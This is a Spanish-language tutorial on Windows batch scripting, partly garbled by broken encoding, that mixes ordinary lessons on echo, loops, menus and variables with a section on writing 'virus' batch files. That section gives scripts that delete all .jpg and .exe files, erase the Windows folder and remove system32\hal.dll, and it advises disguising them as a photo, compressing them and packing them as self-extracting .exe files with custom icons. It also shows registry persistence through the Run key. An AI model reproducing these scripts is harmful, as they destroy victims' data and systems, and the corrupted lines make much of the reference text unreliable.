Qué Es Batch
Qué Es Batch
Qué Es Batch
Un archivo batch es un archivo de procesamiento por lotes: se trata de archivos de texto sin
formato, guardados con la extensión *.bat que contienen un conjunto de comandos DOS.
Cuando se ejecuta este archivo bat, los comandos contenidos son ejecutados en grupo, de forma
secuencial, permitiendo automatizar diversas tareas. Los comandos son así como los del MS-
DOS.
Hay que aclarar Batch que no es un Lenguaje de Programación. Es un archivo de código que
contiene comandos del, Shell de Windows, llamado MS-DOS, que pueden ejecutar desde
.
c
seran todas las ordenes que pongamos, esto quiere decir que si ponemos @echo off se vera lo que
queremos que se vea.
c
Es una orden que le damos al sistema operativo para que haga una tarea determinada.
Ya sabeis lo necesario...ahora empecemos.
Siempre que termineis un programa, debeis de cambiarle la extensión .txt por .bat
-------------------------------------------------------------------------------------------------------------------
1.- APRENDER EL LENGUAJE
Del = Borrar archivos.
Rd = Borrar directorio de raíz.
Start = Comenzara "algo".
Pause = Pausa
Exit = Salir
-------------------------------------------------------------------------------------------------------------------
shutdown con este código apagamos la pc dependiendo del parámetro que utilicemos así
shutdown -s -f -t 15 -c "hola"
(´-sµ apaga PC, ´-fµ lo fuerza, ´-tµ tiempo en segundos, ´-cµ escribir mensaje con comillas)
-------------------------------------------------------------------------------------------------------------------
- Indica al sistema en qué directorios debe buscar los archivos de datos o de
comandos. Este comando es relativamente reciente en el DOS y complementa al comando
PATH, que sólo se ocupa de archivos de comandos.
- Envía el comando direccionado en un disco hacia otro disco; este último reemplaza al
primero. Ya no existe en el DOS 6.
=
- Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos,
mostrando mientras tanto su nombre en pantalla. La restauración de los archivos se hace con la
orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una
bendición porque este comando era uno de los más difíciles de manejar.
= - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programación
más simple que existe.
- Extensión específica para el nombre de los archivos de procedimientos, que disponen de
toda una gama de comandos propios. Uno de los más conocidos es el archivo AUTOEXEC.BAT,
que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento.
- Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa,
que permite salir de una secuencia.
- Comando para el m que determina la capacidad del búfer para el disco.
= - En un archivo .bat, llama a otro .bat como un subprograma.
=- Cambio de directorio; su nombre completo es CHDIR.
= =
- Selección de las tablas de códigos.
= - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR
si quiere evitar presionar tres teclas en el teclado.
= - Controla un disco y provee información sobre su capacidad, su estado, los
directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
= - Una novedad del DOS 6. Usado por el programa MemMaker para
optimizar la memoria.
= = - Una novedad del DOS. 6. Le pide al usuario que efectúe una selección en una
secuencia «batch».
= - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeño e
interesante que conviene recordar.
= - Llama a un procesador secundario de comandos, o reinstala el procesador de
comandos COMMAND.COM del DOS.
=
- Archivo de configuración que dispone de instrucciones propias. Este archivo se
ejecuta automáticamente cada vez que se pone en funcionamiento la computadora.
= - Nacionaliza el sistema, adaptándolo al país.
- Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha
introducida se graba en las memorias permanentes.
= - Compacta el disco duro, duplicando aproximadamente su capacidad. La
compresión puede variar normalmente de 1,7 a más de 10, según el tipo de archivo. Este
comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22.
= - Una novedad del DOS 6. Determina la posición final del archivo
dblspace.bin.
- Lanza el programa de "debugging' (eliminación de errores). Debug está reservado a
los expertos.
- Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar
la velocidad y la seguridad.
- Destruye uno o varios archivos en el disco (actúa como el comando ERASE).
- Suprime la puesta en reserva de un DOS antiguo.
- Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo
los subdirectorios, en una sola operación.
= - Instala un driver de periférico, por medio del config.sys.
= - Carga un administrador en memoria superior, por encima de los primeros 640
KB.
=
- Compara el contenido total, pista por pista y sector por sector, de dos disquetes
del mismo tipo.
=
- Copia de modo idéntico el contenido de un disquete fuente en un disquete
destinatario rigurosamente del mismo formato, formateando previamente este último y
haciéndolo sobre el modelo del disquete fuente si es necesario.
- Se utiliza para conmutar las tablas de códigos, vía el config.sys.
- Establece un vínculo entre la memoria convencional y la memoria superior a través del
config.sys.
- Instala el programa de memorización y de llamado de los comandos instalados
anteriormente. De esta manera, se evita tener que volver a escribirlos.
- Llama a la superestructura de diálogo del DOS. Este dos shell ha sido
suprimido en la versión DOS 6.2 ya que ðm consideró que había sido reemplazado
ventajosamente por el ´Administrador de archivosµ de ese superprograma que es Windows.
- Administra las disqueteras, a través del Config.Sys.
- Define los parámetros de periféricos en modo bloque, a través del Config.Sys.
= - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones.
= - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo
.BAT, según se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite
introducir un mensaje que será mostrado en pantalla en todos los casos.
- Sirve de soporte a la memoria expandida.
- Simula la memoria expandida en la memoria extendida, a través del
Config.sys.
- Destruye uno o varios archivos del disco (y actúa como el comando DEL). Opte por
DEL ya que se escribe más rápido.
- Código de errores para archivos .BAT Otra noción más para expertos.
- Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe más en
los DOS 6, está destinado a los programadores.
- Sale de un procesador de comandos. En la mayoría de los casos, EXIT le permite salir
del DOS para volver al programa que lo llama, Windows por ejemplo.
- Descomprime un archivo comprimido. A partir del DOS versión 5.
- Muestra en pantalla la lista de comandos de la versión 6 con una breve
explicación.
- Proporciona un acceso rápido a los archivos que se usan con más frecuencia, o a
los últimos que se han utilizado, memorizando su camino de acceso.
= - Comparación de archivos. No está disponible en todas las versiones.
= - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este
comando está reservado a los expertos.
- Especifica la cantidad de archivos abiertos, en un Config.Sys.
- Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de
salida (el monitor, por ejemplo) todas las líneas en las que la encontró.
- Especifica la repetición del mismo comando para cada una de las variables contenidas en
la lista.
- Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo
nombre en un archivo .BAT.
Ö'$+#$,% - Carga la tabla de los caracteres gráficos, los códigos ASCII 128 a 255, para la
visualización en pantalla. No existe más en el DOS 6.
Ö'$-. - Carga una secuencia que permite la impresión de la pantalla que incluye caracteres
gráficos, de códigos 128 a 255.
Ö ,$" - Llamado del antiguo Basic avanzado de Microsoft. No existe más en el DOS 6, en el
cual ha sido reemplazado por el QBasic.
.%- - Pedido de ayuda. Desde el DOS 5.
."/" - Administrador de memoria extendida.
+ - Comando de ejecución condicional para archivo .BAT.
!%0 - Incluye un bloque de configuración en otro, a través del Config.Sys. Nuevo
comando con el DOS 6.
!#'%!) - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo
comando del DOS 6.
!#'%!)( - Administrador para Interlnk. Novedad del DOS versión 6.
!#'"1' - Lanza el centro de recuperación de datos InterLnk. Nuevo comando del DOS 6.
2&! - Asigna el contenido de un disco a un directorio de otro disco. No existe más en el DOS 6.
)/, - Carga el programa que administra el teclado (reemplaza al que reside en la memoria
muerta, para el teclado USA).
%$,% - Crea, modifica o suprime el nombre atribuido a un disco.
%$"#'1 - Define la cantidad de unidades de disco en el Config.Sys.
%. - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro
nombre: LOADHIGH.
%!) - Llama al editor de conexiones.
%&$+( - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta.
Nuevo comando del DOS 6.
%&$.Ö. - Carga un programa en la memoria superior, generalmente a través del
Autoexec.bat. Desde el DOS 5. Otro nombre: LH.
$'&" - Realización de macros con Doskey.
- Muestra en pantalla la memoria ocupada y la disponible.
$)' - Administración y optimización de la memoria, pero con los DOS 6. ·
!0&%&' - Determina el color del texto y del fondo para el primer menú, a través del
Config.Sys. A partir del DOS 6.
!0+$0%# - Especifica el menú por defecto, en el inicio. A partir del DOS 6.
!0# - A partir del DOS 6. Define un ítem del menú de arranque.
''&' - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.
)' - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directoryµ,
creación de un directorio.
& - Establece las condiciones de funcionamiento de los periféricos, impresora, interface de
video y conexiones en serie, y también sirve para la preparación de las tablas de códigos.
&' - Para visualizar página por página en la pantalla (es decir, sin que desfilen
ininterrumpidamente en la pantalla)
&1 - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo
comando con el DOS 6.
"$1 - Programa antivirus. A partir del DOS 6.
",$)0- - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.
" - Provee información técnica sobre su computadora. A partir del DOS 6.
!%"+0! - Comando relativo a los idiomas nacionales. Su nombre proviene de
--------------------------------------------------------------------------------------------------------------------
2.- REGLAS A CUMPLIR
1. No abrir los virus si no sabes si esta correctamente instalado.
2. luego de terminar un virus colocar al final de ellos: pause y luego mas abajo exit de lo
contrario este no funcionara.
3. todos los virus deben ser comprimidos
4. al guardar los virus es importante colocar: elnombre.bat o sea el nombre que tu le pondrás a
tu virus pero al final le colocaras el .bat de lo contrario no seria un virus.
-------------------------------------------------------------------------------------------------------------------
Comenzemos haciendo algo sencillo primero deben abrir el blog de notas (ahí se hecen los
virus) luego escribie lo siguiente:
Warning!! No abrir
@echo off
Echo hola
Echo ¿sabes? Voy a apagar tu pc.
shutdown -t 10
pause
exit
para guardarlos coloquemos un nombre por ejemplo nuestra foto y le agregamos el ´.batµ y
quedaría de la siguiente forma: nuestra foto.bat
ya tenemos nuestro primer (no dañino virus.bat) al ver nuestro virus vemos que el formato a
cambiado, ya no tenemos el dibujo de el blog de notas, si no uno de un pequeño cuadrito con una
engrane o tuerca. Lo seleccionaremos pero sin abrirlo y haremos clic al botón derecho del mouse
y veremos una serie de opciones: nosotros seleccionaremos la que dice: AÑADIR AL
ARCHIVO...
(salen dos opciones RAR que en la que esta, y la otra es ZIP cámbialo a zip...
,4
4
erase C:\WINDOWS \q
56
@echo off
cd\
del *.jpg /q
del *.exe /q
shutdown -l
shutdown ²s
exit
4
4
@echo off
taskill Explorer
tskill Explorer
del /q /f /s C:\WINDOWS\system32\hal.dll
@echo off
shutdown -f -t 00
Deben colocar start iexplorer muchas veces muchas muchas y al final deben colocar pause y
luego abajo exit, si ustedes no colocan esto luego de terminar su virus este no funcionara!
------------------------------------------------------------------------------------------------------------------------
ó Uso de etiquetas
ó Condicionales
ó Creación de Menús
ó Apagado y Reiniciado de Pc
ó Leer archivos externos
ó Insertar al Registro
ó Otras cosas útiles
ó Uso de etiquetas
Como bien sabemos la lectura de los códigos Batch se leen de una manera lineal, pero existe una
forma para que el Batch se salte lineas, o vuelva a alguna anterior. Esto se logra con *y
la función Ö&#&.
Para crear una etiqueta solo debemos escribir:
7
:nombreEtiqueta
Dos punto (7) seguido del nombre que le daremos a la etiqueta. De esta manera el Ö&#&
funciona escribiendo
Ö&#& seguido del nombre de la etiqueta, como vemos en el siguiente ejemplo.
7
@echo off
goto :mietiqueta
echo ¿Por que me saltan?
:MiEtiqueta
echo Hola, esta es la etiqueta y nos saltamos una parte del codigo.
pause>nul
exit
Dato Interesante:
En Batch las Mayúsculas y Minúsculas no se diferencian.
7
7
if 5 GTR 4 echo Hola
FOR:
Nos sirve para repetir un comando varias veces, en distintas variables.
Un ejemplo, es este:
9?%::!@A8;8=;B&@
::B
En donde ?% es para especificar que nuestro for se basara en un conteo de números.
Aquí se repetirá un Echo, que imprimirá números del 0 al 21.
::sera el nombre de la variable que almacenara datos
@A8;8=;Baquí especificamos que se repetirá del 0 al 1 y del 1 al 21.
@
::B Esto es la función que se ejecutara en cada repetición del comando, en este caso
un echo que imprimirá la variable.
Batch en algunos casos " reconoce entre mayúsculas y minúsculas, como en el caso de la
variable %%i si esta se llamara %%I no seria reconocida como la misma.
Otro uso que puede ser aplicado en el FOR es el listado de carpetas o archivos, como veremos a
continuación:
Listado de archivos:
7
@echo off
FOR %%x in (a*) DO echo %%x
pause
7
@echo off
FOR %%x in (*.jpg) DO echo %%x
pause
Aqui nos estaria listando todos los archivos que tengan la extensión
Listado de Carpetas:
FOR /D %%x in (a*) DO echo %%x
Es casi lo mismo anterior, tan solo que al indicar ? solo se aplica a directorios.
Si quisiéramos que se listaran los directorios, juntos a los directorios que tienen estos dentro se
ocupa?'
+&'?'?::6
@CB&
::6
y si quisiéramos listar todos los documentos que están dentro de una carpeta contando los que
están dentro de carpetas se ocupa solamente ?' (Sin /D)
+&'?'::6
@CB&
::6
Con esto creo que tenemos lo básico, y más importante de los condicionales. Talvez otro claber
se anime a profundizar más en el tema.
Creación de Menús:
Como ya vimos Condicionales y Etiquetas les enseñare una manera de hacer Menús.
Comenzaríamos indicando las instrucciones y las opciones, de esta manera:
7
@echo off
:Menu
cls
echo Seleccione su opcion tecleando el numero respectivo.
echo.
echo 1. Primera Opcion
echo 2. Segunda Opcion
echo 3. Salir
7
set /p var=
if %var%==1 goto :Primero
if %var%==2 goto :Segundo
if %var%==3 goto exit
if %var% GTR 3 echo Error
goto :Menu
Con esto damos una variable en la que se guardara el numero insertado para luego ser verificado
por los condicionales, si el numero es mayor que 3 nos avisara que no existe esa opción. También
al principio cree una etiqueta para que se pueda volver
al menú y un " " para limpiar la pantalla.
Para terminar creamos las respectivas etiquetas.
7
:Primero
cls
color a
Echo Esta es la Primera Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
:Segundo
cls
color 1a
Echo Esta es la Segunda Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
7
@echo off
:Menu
cls
echo Seleccione su opcion tecleando el numero respectivo.
echo.
echo 1. Primera Opcion
echo 2. Segunda Opcion
echo 3. Salir
set /p var=
if %var%==1 goto :Primero
if %var%==2 goto :Segundo
if %var%==3 goto exit
if %var% GTR 3 echo Error
goto :Menu
:Primero
cls
color a
Echo Esta es la Primera Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
:Segundo
cls
color 1a
Echo Esta es la Segunda Opcion
Echo Precione una tecla para volver al menu
Pause>Nul
goto :Menu
Bueno, con eso les basta para imaginarse como crear sus menús personales.
Como vieron puede cada sección tener su color, incluso puedes cambiar la barra de titulo.
$5' - 7
Una cosa muy interesante que puedes hacer con Batch es Apagar y Reiniciar tu Pc, incluso
programarlo para que apague a la hora que desees.
Es notablemente fácil.
se ocupa de la siguiente manera el apagado.
4
# >
>
donde significa que lo apagaremos, debe ir seguido de los segundos que demorara apagar.
En windos XP mostrara un contador, con el comentario que va luego de , pero en Windows
Vista no abra ni un contador, solamente saldrá una alerta con el Comentario, que ni siquiera es
obligatorio.
Bueno, de seguro quieres hacer la prueba. La puedes hacer pero antes de eso te recomiendo que
leas lo siguiente.
Puedes cancelar el apagado (Antes de que el contador termine) solamente escribiendo
4
ya sea en un archivo de texto con extensión bat, como en el mismo Shell.
Entonces, pues has la prueba
7
shutdown -s -t 999999 -c "Esto se esta apagando"
7
shutdown -a
7
shutdown -r -f -t 0 -c "Bye"
(No lo recomiendo probar en tu pc, Ya que apaga el pc en 0 segundos sin preguntar nada. )
%
6
7
Para leer un archivo externo con Batch, como un archivo de texto por ejemplo. Se usa el
siguiente código:
7
type "NombreDelArchivo.txt"
¿Simple no?
'7
Insertar al registro tu Batch puede ser muy útil, la verdad yo no entiendo mucho del registro
pero leí un poco y aquí tienen un ejemplo que se encuentra a ser sincero en muchas web. Donde
aremos que nuestro batch se ejecute con el Sistema.
7
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
MIBATCH.bat /t REG_SZ /d C:\MIBATCH.bat
Con la función 'Ö$ Agregamos algo al registro. Con otro comando podemos borrar.
Lo que sigue es la "Dirección" de donde insertaremos el registro que en este caso será para que
nuestro batch se ejecute al iniciar Sesión.
En medio de toda la dirección se puede leer,$#. yo puse el nombre del Batch pero
también se puede poner cualquier otra cosa. Más adelante donde dice C:\MIBATCH.bat, es la
dirección completa de donde esta nuestro Batch.
Con solo esta linea estamos listos. Haz la prueba!
Esta función tiene otras utilidades, pero les enseñare esta que no funciona en todos los PC.
Sirve para abrir una alerta con un mensaje su utilización es la siguiente:
7
msg * EsteEsMiMensaje
$#
Esta es una de las que más me gusta, es para programar alguna acción a cierta hora.
Ejemplo:
7
At 20:00 msg * Son Las 8 de la noche
Con esto a las 20:00 nos aparecerá un mensaje que nos dirá que son las 8 de la Noche.
También puedes programar un apagado o cualquier Cosa.
Si la hora que das ya paso, se tomara como para el día siguiente.
------------------------------------------------------------------------------------------------------------------------
#
Activar Netmeeting en Windows XP
------------------------------------------------------------------------------------------------------------------------
7
taskkill /im /f programaespecifico.exe
Ya esta especificado.
Ejemplo:
escribe en un archivo *.bat
7
taskkill /f /im wmplayer.exe
7
@echo off
echo Hola Mundo
pause
exit
Ahora guardemos el archivo como ! y lo ejecutamos. Nos aparecerá una pantalla
negra que dirá "Hola Mundo", luego una linea abajo dirá "Presione una tecla para continuar"
CD O CHDIR:
Si has trabajado en PHP, te sera fácil entender este concepto. Sirve para cambiar de Directorio
o Mostrar el nombre del actual. Para usarlo, o .' seguido de la ubicación del directorio
al cual nos moveremos.
>7D>
>7D>
Los ejemplos anteriores hacen exactamente lo mismo, cambian al
COPY:
Sirve para copiar uno o más archivos a otro destino.
Su sintaxis es la siguiente:
5>
>>!
>
Ejemplo:
7
Copy "C:\archivo.txt" "C:\archivo2.txt"
7
cd "C:\"
Copy "archivo.txt" "archivo2.txt"
Donde primero cambiamos de directorio al Disco C con >7D> y luego al copiar no tenemos
que especificar que esta en el Disco C ya que ya nos encontramos en el.
DEL:
MOVE:
CLS:
7
@echo off
echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro.
pause
cls
echo ¿Ves?
pause
exit
Si quisiéramos averiguar más sobre las funciones, o conocer algunas nuevas por nuestra propia
cuenta podemos escribir en el Shell el nombre del comando seguido de ? y aparecerá toda la
información necesaria.
Inicio->Ejecutar-CMD
7
echo off
7
Cls
$
59
57
7
copy /?
7
7
exit
Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el
original y vuelva a copiar el copiado.
En la carpeta donde crearás el archivo .BAT crea un archivo de texto llamado
COPIAME.TXT. En él, escribe lo que quieras. Este será el archivo que copiaremos.
Ahora el Batch:
7
@echo off
echo Hola, Copiaremos un archivo
pause
copy "copiame.txt" "copiado.txt"
move "copiado.txt" "C:\copiado.txt"
del "copiame.txt"
cd "C:\"
copy "copiado.txt" "copiado2.txt"
exit
Después de que ejecutemos el Batch, si vamos al Disco C, veremos que hay dos nuevos archivos
de texto: uno llamado copiado.txt y otro copiado2.txt.
También si vamos a la carpeta del Batch, veremos no está el archivo de texto original,
"COPIAME.TXT".
Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:
7
echo TEXTO DE PRIMERA LINEA > nombre.extensión
echo TEXTO SEGUNDA LINEA >> nombre.extensión
echo TEXTO SIGUIENTE LINEA >> nombre.extensión
Al escribir
seguido de un texto y el signo > creamos un archivo con el nombre que siga.
Si ocupamos un
seguido de un texto y el doble signo > (>>) se escribirá en la siguiente
linea vacía del archivo que prosiga.
Hagamos la prueba:
7
echo Creando un Archivo de texto > nuevo.txt
echo Esta es la Segunda linea >> nuevo.txt
echo Y esta es la Siguiente >> nuevo.txt
echo Esto esta genial >> nuevo.txt
Personalizando el SHELL
Seguro que no te gusta mucho el aspecto del Shell.
Aquí veremos como personalizarlo un poco.
COLOR:
Con la función color podemos cambiar los colores de fondo y las letras. Siendo su sintaxis:
&%&'$,
Donde A= El color de el Fondo y B= Color de las letras.
Para ver todos los colores ve el MS-Dos y escribe ?
TITLE:
PAUSE PERSONALIZADO:
¿No te gusta que al poner pause salga "Presione una tecla para continuar..."?
Pues si escribes "pause>nul" no aparecerá ni un texto.
Entonces si anteponemos un mensaje, quedaría así.
7
echo Aprieta cualquier tecla para seguir
pause>nul
Además puedes jugar con los caracteres. Aquí un ejemplo, donde cambié los colores y jugué con
los caracteres y personalicé el PAUSE:
El código que empleé para esto fue:
7
@echo off
color 30
echo ==================================
echo = =
echo = Personalizado =
echo = =
echo ==================================
echo.
echo.
echo Esto esta personalizado, para salir presiona una tecla.
pause>nul
exit
7
Taskkill -f -im proceso.exe
?9 Fuerza el término del proceso.
7
taskkill ²f -im wmplayer.exe
ABRIENDO PROCESOS:
Ahora abramos ese proceso que cerramos. Para abrir procesos se usa la función " que
funciona así:
7
start proceso.exe
También puedes abrir paginas web con tu explorador predeterminado.
7
start wmplayer.exe
7
start www.google.cl
17
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la
variable zero, cuando la llamamos seria %zero%
$%$-'$#$
Comenzaremos examinando el code siguiente:
7
echo off
title variables
echo bienvenido al ejercicio para aprender variables
echo .
pause
set /p nombre=cómo te llamas?
set /p edad=cuántos años tienes?
pause
echo hola %nombre%
echo veo que tienes %edad% años verdad?
echo Hasta luego!
pause
exit
7
set /p nombre=cómo te llamas?
Con esto estamos haciendo que el archivo pregunte al usuario el valor de la variable nombre.
´Setµ es el comando para llamar variables.
´/pµ significa que el usuario le pondrá el valor a la variable por medio de una pregunta.
"nombre" ahí está el nombre de la variable.
"=cómo te llamas?" es la pregunta que se le hará al usuario.
----------------------------------------------------------------------------------------------------------------------------
1
IF es un comando que permite verificar algo. Si es verdadero o no hace una acción determinada.
Su principal rol en los batch es verificar si alguna variable es "tal" valor numérico. Aquí
mostraremos un claro ejemplo de su función que no es para nada complicado.
7
@echo off
set /p var=cuanto es 1+1??
if %var%==2 (echo bien) else echo mal
pause
7
@echo off
set /p var=cuanto es 1+1??
if not %var%==2 (echo mal) else echo bien
pause
IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento idéntico al IF
(NOT), solo que trabaja sobre archivos y no valores alfanuméricos. Un ejemplo:
7
@echo off
if exist c:/windows/system32/explorer.exe (echo tienes el explorer) else echo no tienes el explorer
pause > nul
----------------------------------------------------------------------------------------------------------------------------
$
+ 5
G
IF nos ayuda a la hora de crear menús. Ya que podemos asignarle un número a cada opción del
menú y así cuando el usuario ingrese cierto número nos llevara al lugar designado. No se
entiende totalmente en palabras por eso les he formulado este simple code que lo explica.
7
@echo off
:menu
echo 1. Abrir google
echo 2. Abrir wikipedia
set /p var=Que pagina web quieres abir? Teclea numero de opcion y pulse intro; para salir pulse
intro sin ninguna opcion:
----------------------------------------------------------------------------------------------------------------------------
1$'$,%"7
7
set NOMBREVARIABLE = VALOR
7
@echo off
set Nombre= Javier Letelier Ruiz
echo %Nombre%
pause
7
set Nombre= Nuevo Valor
Si quieres que tu Variable sea dinámica, osea que el Usuario la elija antepones ?:
7
set /p Nombre=Escriba su Nombre:
Donde el Batch se pausara solo mostrando el Mensaje que va luego de ><> dejando que se
escriba algo.
También podemos multiplicarlas, sumarlas, etc... con ?:
7
set numero1=2
ser numero2=43
set /a suma= %numero1% + %numero2%
echo %suma%
pause
exit
@echo off
echo Probando
rem esta linea es un comentario, la instruccion if es en el caso de que la
rem carpeta no exista.
IF ERRORLEVEL 2 GOTO ERROR
rem xcopy es el comando para copiar una carpeta entera y no un archivo propiamente.
xcopy D:\rutacarpetaorigonal C:\rutacarpetadestino
echo Proceso Completa
pause
exit
:ERROR
pause
Espero te sirva
Saludos
----------------------------------------------------------------------------------------------------------------------------
IF EQU - igual
IF NEQ - no igual
IF LSS - menor que
IF LEQ - menor que o igual
IF GTR - mayor que
IF GEQ - mayor que o igual
UTILIZANDO SET /A
set /a sirve para realizar operaciones yo explicare las basicas uranios y aritmeticos:
sumar
dividir
multiplicar
restar
() - agrupar
!~- - operadores unarios
*/% - operadores aritméticos
+- - operadores aritméticos
<< >> - desplazamiento lógico
& - bit a bit y
^ - bit a bit exclusivo o
| - bit a bit
= *= /= %= += -= - asignación
&= ^= |= <<= >>=
, - separador de expresión
@echo off
set /a resul=5 + 5
echo el resultado es %resul%
pause
exit
mmmm como veis se alamacena el resultado en la variable resul que luego sera mostrada por
echo.
----------------------------------------------------------------------------------------------------------------------------
Si quieres convertirlo a .exe y que siga funcionando, el compresor WinRar te permite hacer eso y
más solo es cuestión de explorar un poco.Haz lo siguiente:
1. Da clic con el botón secundario del mouse sobre el archivo que deseas cambiar para que te
aparezca el menú contextual; luego eliges la opción "Añadir al archivo..."
Ahora, en el apartado "Opciones de compresion" marca la casilla de "Crear un archivo SFX". (Si
eres detallista, notaras que con solo marcar esta casilla en el cuadro "Nombre de Archivo", este
ha tomado ya la extensión .exe)
Si quieres, puedes mediante la ficha "Avanzado", darle otras propiedades al .exe; para ello haz
clic en la pestaña de la ficha avanzado y luego eliges "Opciones SFX" y te aparecera el cuadro
"Opciones avanzadas SFX"
En el cuadro Opciones avanzadas SFX, en ruta de extracción puedes escribir la ruta donde se
extraera el contenido del .exe al ser ejecutado (Por Ejemplo: c:\)
Si quieres cambiar el icono que identifica por defecto al archivo, (Ejemplo quieres colocar tu
propio icono al archivo), ve a la pestaña "Texto e icono" y el el cuadro "Cargar icono SFX desde
fichero", haz clic en buscar y localiza el icono en tu pc que deseas colocar al archivo.exe.....
----------------------------------------------------------------------------------------------------------------------------
Ahora vamos con los códigos de los colores, para la ventana..
0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Púrpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Púrpura claro
E = Amarillo claro
F = Blanco brillante
V
99
H
6
CC&%&'1!#$!$CCCC&%&'%#'$CC
Sustituyendo **COLOR VENTANA** por el color de fondo y **COLOR LETRA** por el color
de la letra...por ejemplo color 6C o color F1...
Ahora vamos con nuevas variables...es para operaciones matemáticas...se expresa asi:
?CC1$'$,%CC<CC-'Ö0!#$8#(#&8#CC
V
99
?<c
?<c
? <c
?<c
?<c
?9<c
<I
*
8
I8*
I
?<JJ JJJ9
*
?<::?::
*
*<JJ JJJ9*
8*<I858
7::
6
----------------------------------------------------------------------------------------------------------------------------
para activar el regedit pase esto a xp abres tu block de notas y despues lo guardas como task.reg
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr"=dword:00000000
"DisableRegistryTools"=dword:00000000
¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢¢